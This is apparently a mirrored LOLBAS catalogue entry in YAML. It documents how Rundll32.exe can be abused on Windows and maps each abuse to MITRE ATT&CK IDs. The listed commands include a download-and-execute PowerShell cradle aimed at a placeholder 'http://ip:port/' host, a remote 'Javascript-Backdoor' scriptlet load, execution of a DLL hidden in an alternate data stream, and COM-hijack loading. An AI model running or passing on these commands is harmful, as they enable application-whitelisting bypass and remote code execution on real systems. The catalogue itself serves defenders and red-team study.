mirror of
https://github.com/LOLBAS-Project/LOLBAS
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84 lines
4.3 KiB
YAML
84 lines
4.3 KiB
YAML
---
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Name: Rundll32.exe
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Description: Used by Windows to execute dll files
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Author: 'Oddvar Moe'
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Created: '2018-05-25'
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Commands:
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- Command: rundll32.exe AllTheThingsx64,EntryPoint
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Description: AllTheThingsx64 would be a .DLL file and EntryPoint would be the name of the entry point in the .DLL file to execute.
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Usecase: Execute dll file
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Category: Execute
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Privileges: User
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MitreID: T1085
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MitreLink: https://attack.mitre.org/wiki/Technique/T1085
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
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Description: Use Rundll32.exe to execute a JavaScript script that runs a PowerShell script that is downloaded from a remote web site.
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Usecase: Execute code from Internet
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Category: Execute
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Privileges: User
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MitreID: T1085
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MitreLink: https://attack.mitre.org/wiki/Technique/T1085
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
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Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe.
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Usecase: Proxy execution
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Category: Execute
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Privileges: User
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MitreID: T1085
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MitreLink: https://attack.mitre.org/wiki/Technique/T1085
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
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Description: Use Rundll32.exe to execute a JavaScript script that runs calc.exe and then kills the Rundll32.exe process that was started.
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Usecase: Proxy execution
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Category: Execute
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Privileges: User
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MitreID: T1085
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MitreLink: https://attack.mitre.org/wiki/Technique/T1085
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test")
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Description: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
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Usecase: Execute code from Internet
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Category: Execute
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Privileges: User
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MitreID: T1085
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MitreLink: https://attack.mitre.org/wiki/Technique/T1085
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain
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Description: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
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Usecase: Execute code from alternate data stream
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Category: Alternate data streams
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Privileges: User
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MitreID: T1096
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MitreLink: https://attack.mitre.org/wiki/Technique/T1096
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OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
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- Command: rundll32.exe -sta {CLSID}
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Description: Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
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Usecase: Execute a DLL/EXE COM server payload or ScriptletURL code.
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Category: Execute
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Privileges: User
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MitreID:
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MitreLink:
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OperatingSystem: Windows 10 (and likely previous versions)
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Full Path:
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- Path: C:\Windows\System32\rundll32.exe
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- Path: C:\Windows\SysWOW64\rundll32.exe
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Code Sample:
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- Code:
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Detection:
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- IOC:
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Resources:
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- Link: https://pentestlab.blog/2017/05/23/applocker-bypass-rundll32/
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- Link: https://evi1cg.me/archives/AppLocker_Bypass_Techniques.html#menu_index_7
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- Link: https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
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- Link: https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/
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- Link: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
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Acknowledgement:
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- Person: Casey Smith
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Handle: '@subtee'
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- Person: Oddvar Moe
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Handle: '@oddvarmoe'
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- Person: Jimmy
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Handle: '@bohops'
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---
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